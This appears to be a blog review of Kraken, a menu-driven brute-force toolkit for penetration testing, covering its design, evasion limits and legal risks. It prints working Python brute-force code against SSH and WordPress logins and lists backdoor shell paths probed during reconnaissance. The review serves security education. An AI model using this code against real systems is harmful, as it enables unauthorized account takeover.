Kraken: Inside the All-in-One Brute-Force Toolkit Penetration Testers Actually Use
Hook
While defenders spend millions on EDR and SIEM platforms, over 80% of network breaches still trace back to weak passwords—the exact vulnerability Kraken exploits across 15+ protocols from a single terminal interface.
Context
Penetration testers face a fragmentation problem: attacking SSH requires Hydra, WordPress needs WPScan, Office365 demands custom scripts, and directory enumeration calls for Gobuster. Each tool has different syntax, configuration files, and output formats. During time-boxed security assessments, switching between tools burns hours that could be spent on actual testing.
Kraken emerged to solve this workflow inefficiency by consolidating the most common credential attacks into a unified menu-driven interface. Rather than remembering command-line flags across a dozen tools, penetration testers navigate categories (Network Tools, Webapps Tools, Finder Tools) and select attack modules. The 1,125 GitHub stars reflect genuine usage in red team operations where speed and simplicity matter more than cutting-edge evasion techniques. It's not the stealthiest tool, but it's often the fastest way to validate whether an organization's password policies can withstand basic credential attacks.
Technical Insight
Kraken's architecture follows a simple but effective pattern: a central menu system dispatches to protocol-specific attack modules, each implementing credential enumeration against a particular service. The codebase avoids over-engineering, relying on proven Python libraries like paramiko for SSH, ftplib for FTP, and requests for HTTP-based attacks.
A typical module structure looks like this for SSH brute-forcing:
import paramiko
import threading
from queue import Queue
class SSHBruteForce:
def __init__(self, target, port, username_list, password_list, threads=10):
self.target = target
self.port = port
self.usernames = username_list
self.passwords = password_list
self.queue = Queue()
self.found_credentials = []
self.threads = threads
def attempt_login(self):
while not self.queue.empty():
username, password = self.queue.get()
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(
self.target,
port=self.port,
username=username,
password=password,
timeout=5,
allow_agent=False,
look_for_keys=False
)
self.found_credentials.append((username, password))
print(f"[+] Success: {username}:{password}")
client.close()
except paramiko.AuthenticationException:
pass
except Exception as e:
print(f"[-] Connection error: {e}")
finally:
self.queue.task_done()
This pattern repeats across modules with protocol-specific variations. The FTP module uses ftplib.FTP.login(), the Telnet module wraps telnetlib, and web application modules construct POST requests with credential payloads. Threading provides parallelism without the complexity of async/await, keeping the codebase accessible to junior contributors.
The web application modules are particularly interesting because they handle CSRF tokens and session management. The WordPress brute-force module, for example, must parse the login form to extract nonce values before submitting credentials:
import requests
from bs4 import BeautifulSoup
def wordpress_bruteforce(target_url, username, password_list):
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
for password in password_list:
# Fetch login page to get fresh nonce
response = session.get(login_url)
soup = BeautifulSoup(response.text, 'html.parser')
# Extract CSRF token if present
csrf_token = None
for input_tag in soup.find_all('input', {'type': 'hidden'}):
if 'token' in input_tag.get('name', '').lower():
csrf_token = input_tag.get('value')
payload = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': f"{target_url}/wp-admin/",
'testcookie': '1'
}
if csrf_token:
payload['_wpnonce'] = csrf_token
response = session.post(login_url, data=payload)
# Check for successful login indicators
if 'wp-admin' in response.url or 'dashboard' in response.text.lower():
return (username, password)
return None
The finder modules (admin panel finder, directory enumeration, shell finder) work differently—they're reconnaissance tools that probe for common paths rather than testing credentials. These modules iterate through wordlists of common admin panel locations (/admin, /administrator, /wp-admin) or shell backdoors (/shell.php, /c99.php) and report HTTP 200 responses. While simpler than credential attacks, they're valuable for initial enumeration during engagements.
Kraken's menu system ties everything together through a simple CLI interface that categorizes attacks by type. Users select a category, choose a specific module, provide target details and wordlist paths, then launch the attack. Output streams directly to the terminal with color-coded success/failure indicators. No configuration files, no complex setup—just immediate execution.
The threading implementation deserves scrutiny. Most modules default to 10-20 concurrent threads, which provides reasonable speed against non-rate-limited targets but becomes problematic against modern defenses. There's no adaptive throttling, jitter in request timing, or proxy rotation. The tool prioritizes simplicity and speed over stealth, making it ideal for lab environments and authorized assessments where detection doesn't matter.
Gotcha
Kraken's biggest limitation is what makes it useful: its simplicity means no evasion capabilities. Modern enterprise environments deploy account lockout policies (lock after 5 failed attempts), rate limiting (max 10 requests per minute), and behavioral analytics that flag coordinated credential testing. Running Kraken against these targets triggers immediate alerts and potential IP blacklisting. The tool has no built-in proxy support, user-agent rotation, or request timing randomization that professional tools offer.
The second gotcha is legal exposure. Brute-force attacks without explicit written authorization are illegal under computer fraud statutes in most jurisdictions (CFAA in the US, Computer Misuse Act in the UK). Kraken provides no built-in safeguards, authorization checks, or audit logging. It's purely an offensive tool that assumes the operator has proper authorization. For professional penetration testers, this means you need rock-solid scoping documents and explicit permission for every target system before executing any module. The ease of use can lull operators into testing systems outside their authorized scope, creating significant legal liability.
Verdict
Use if: You're conducting authorized penetration tests or red team exercises where you need to quickly validate password policies across multiple protocols, you're working in lab environments testing defensive controls, or you need a unified interface for teaching credential attack techniques in security training. Kraken excels when speed and convenience trump stealth, and when detection is acceptable or even desired (like demonstrating monitoring capabilities to clients). Skip if: You need stealth for adversary simulation exercises, you're targeting production systems with modern defenses (you'll be detected immediately), you require proxy support or adaptive throttling, or you're working without explicit written authorization. For professional engagements requiring sophistication, stick with Hydra for network protocols, Burp Suite Intruder for web applications, or commercial platforms with built-in compliance and evasion features.